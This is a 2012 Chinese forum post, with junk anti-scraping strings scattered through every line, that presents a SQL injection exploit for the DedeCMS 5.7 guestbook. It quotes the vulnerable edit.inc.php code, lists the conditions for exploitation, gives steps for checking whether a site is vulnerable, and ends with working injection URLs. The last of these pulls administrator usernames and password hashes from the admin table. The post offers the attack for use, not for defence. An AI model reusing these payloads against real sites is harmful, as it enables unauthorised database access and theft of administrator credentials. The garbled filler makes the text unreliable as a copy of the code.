找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3841|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
影响版本为5.7! J: w" U' i; T& Y! D9 V: C
) K  Z( o! T! L- T5 P1 J0 J4 c
漏洞文件edit.inc.php具体代码:, e$ D" h( F8 k8 Z  ^9 O

9 W6 a# A/ n2 x< ?php  2 G; b* L3 u# S

$ y& f. M1 W9 j' Z$ @& n+ nif(!defined('DEDEINC')) exit('Request Error!');  0 _9 o7 _- @7 c7 |5 D6 a5 ?

7 t" S$ G/ {, P1 ~( g0 C   
1 f6 l& G5 c. H2 d& i6 ~8 i, x' S9 w) |' B9 G5 Q: N% W
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  : [- b4 ?; D/ w. D) k+ {
5 m& k7 ^, f! F* Y
else $GUEST_BOOK_POS = "guestbook.php";  $ o/ B. o0 E* Z8 h0 ^

* v* I' X: w9 W   
# ^+ p3 v: A" t% l- S# |0 A) [$ M6 D7 A
$id = intval($id);  , x2 D" M/ Q7 N, e6 g- A4 D
5 L' G; [: z4 Z' B) ]
if(empty($job)) $job='view';  4 u: Z. r: d) e3 D. }/ U

& E6 f) Z/ J0 g' S% W5 f   . {3 g! l8 `( Q4 a

/ l% B- j( i5 T' [/ x4 i, Uif($job=='del' && $g_isadmin)  
8 P1 G# i) w: c
* H& b! Y" ?# r5 k9 C( X( b' F" W6 ~{  & K) h+ j. Z" U. V. q9 \7 L! A
, K1 j0 O: A; G% m# B# n& }
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  ) h& i1 n4 _( n: Z# c
4 |% G! Q$ R! R5 F, Q+ ]
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
2 Y5 C  F' m7 Q: p0 `  J0 m5 o, Q4 [( X2 t9 c* z  B2 v: G% w
exit();  
8 z* r$ E* F) D  w# M) i" ~- `; m+ E/ S0 Y$ j
}  ; C0 \9 q- a# N1 }

! p' p) L2 ~9 W5 B' xelse if($job=='check' && $g_isadmin)  
6 N( A0 o7 p- }3 u
) M" r9 p1 U" b1 L{  
2 g  [1 Y. p1 a% @
5 ]7 a7 v0 r$ [" }  i$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  8 |' n2 T" q! m( D1 B

) l0 h  ~) W) WShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
2 u; B. z6 i4 b* a% o
- d3 ^! h: b" r2 N& Rexit();  # v; c$ m2 s8 Z+ |4 T4 T
# p% }2 Q! L$ k# A. N6 g$ j; p
}  6 U& r$ f5 e! S: d$ p% [
1 L5 R# [" E) X& N: m
else if($job=='editok')  
( m5 h9 u5 H% A( q
& x+ K1 }$ |* \, k: M+ W{  
) [/ @* I0 {4 f2 O  _1 D# u( c# s. Y! j5 w3 O& w
$remsg = trim($remsg);  ' H. _# |" a. M2 T
9 C3 U8 v& Y) m7 W2 b0 k& L0 ^; q
if($remsg!='')  
' N3 M. x9 y: a' A. w" Z, L  B/ s4 a6 C3 t
{  ; h- _& e! w2 ~9 p3 L

# f: {5 y# r; ]0 ~2 [- H//管理员回复不过滤HTML By:Errorera blog:errs.cc  0 y1 U. ^7 _" l1 ^$ P; d
: o( i5 x, {' N. S  ]5 f& u
if($g_isadmin)  
% P# V+ E: y! t, e
0 g% ^& ]; U: k" g3 R  A) J{  - v. t. z/ U0 h0 W. m/ w- F6 e

$ [% v8 F8 ]" [$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  & d8 }2 O+ a: {9 b. Q% ?
0 g* ?1 _- \3 K1 b$ C" L
//$remsg <br /><font color=red>管理员回复:</font> }  " ]0 R( ?$ `9 t) u2 ?' l& q0 a2 y
; [- D/ s8 P2 C/ e6 f0 p
else 2 C, \9 a/ f- H4 Z4 O

! ^6 D( u+ j5 v+ I, I7 x8 X{  
5 Q& C3 E2 Q' F2 {) ]! T5 O) n  }- p8 _
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  / L' j: x* B2 w5 R

4 A6 k, @. N* j; a8 B  Q: x% v( f) U$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  5 v* h! L" G! o2 q( H
; R( t1 O0 N6 @
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
  u) J1 F8 w7 w) ]" B; i6 R
& b8 d( v2 ^0 t# _# I$ |$msg = $oldmsg.$remsg;  
2 s" b  w9 h2 q8 E
0 ?+ X6 B9 r  |8 ?}  
' |6 F2 i! P1 k. G- y/ U' X- q' P
- j0 S$ v0 P/ {0 s}  ' D# `7 g& s9 E& P6 Q

& b0 [: I5 G: E) `% G//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  ( V; ]0 ^  {3 I  ~
# D' x; W. s( V  H* {5 Q: O
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
7 `* O% f7 v, l/ |0 A* i! @, f( R/ J$ b( x
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  / G% }9 e( I% i
- l2 l& k! V/ l9 `) t1 K
exit();  
8 w3 Z3 D+ E4 m/ q$ Y$ r3 A5 z' x9 H2 n% E4 O: P# V
}  
+ F$ q: _$ Z( o0 `" ~- y6 B
9 Y/ Y! R' d+ B& B# M0 z//home:www.errs.cc  " ^% ~' m4 P3 n* P
2 b, W5 P/ d/ L5 j$ m/ N% R
if($g_isadmin)  
- P- j% w. \3 ?. |8 N8 K' b9 w/ y& j2 D
{  / {+ {6 s% Z& E# }' O- r8 R

2 U. j/ D* z; _( r$ @5 |$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  ! f8 k' a* u, Z, h% J/ w

& v/ U6 N- C; R! crequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  ! S+ a: K( I1 N6 ~6 O

# T( U9 O( D- E6 J: @}  
/ c! V1 o# |" W$ z8 `( s! i0 J1 ?+ M2 o* |, y# Q- u" B$ A
else
8 _* }9 @& k( H' m2 H! @, g! l/ r) M5 G% }, Y5 u: W
{  
* n: Q$ b. l  O8 `5 T* D7 Q: w. U8 }+ L2 D) _' k- Z/ I
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
/ D' h5 d* n+ Z6 Z( p  w/ C3 V/ R2 h/ c- {  `# m5 m6 G
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
+ r7 i3 d8 h0 t+ Y# d; [4 }8 m, A( d8 y/ M/ g4 {' `7 E! W$ J( F
} 漏洞成功需要条件:1 D! [: |) I6 C4 y% b
1. php magic_quotes_gpc=off
3 c. q; u8 y& }, a) `2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。! ]1 `! {' k9 s$ i, E

: t9 W. i; n% K. f5 ?怎么判断是否存在漏洞:
3 F9 V6 ^( x3 A8 [% z$ l6 R5 Z1 B先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,5 f4 U9 t: H5 O- d" F
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID1 H# [' d$ R9 T: J
访问:
6 ~# x- W4 W" k' m: P" A7 _' r
$ ], W9 h  J+ l7 [2 z2 g9 T! Kwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了0 W" \8 i  m% c+ g
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
# k1 [# s7 i! v4 Q1 T
, D/ {& U; R+ ~$ }3 v) _! t) E+ W. W2 v3 i4 f4 t7 m: m
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off$ D! i3 D/ N' O9 X& ^
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。2 u. ?" g. Z# W& e  x" `5 S
那么再次访问( {4 _* w0 q4 @8 o. y' I1 O5 w
6 O7 ]: c: e  f" q$ e' f/ D  F6 Z) o
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
9 j2 W( ?8 w1 b0 V
, ?4 r& v+ l4 b: R, v  `大概利用就是这样,大家有兴趣的多研究下!!& Z2 T# f1 h4 F, Q& [* Y4 ]
: Z$ r: [( \* @
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
' x2 A/ j2 x2 W$ F1 Q, [4 s) n
6 {; \" F4 ?' Q, Z# ~" a0 }view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表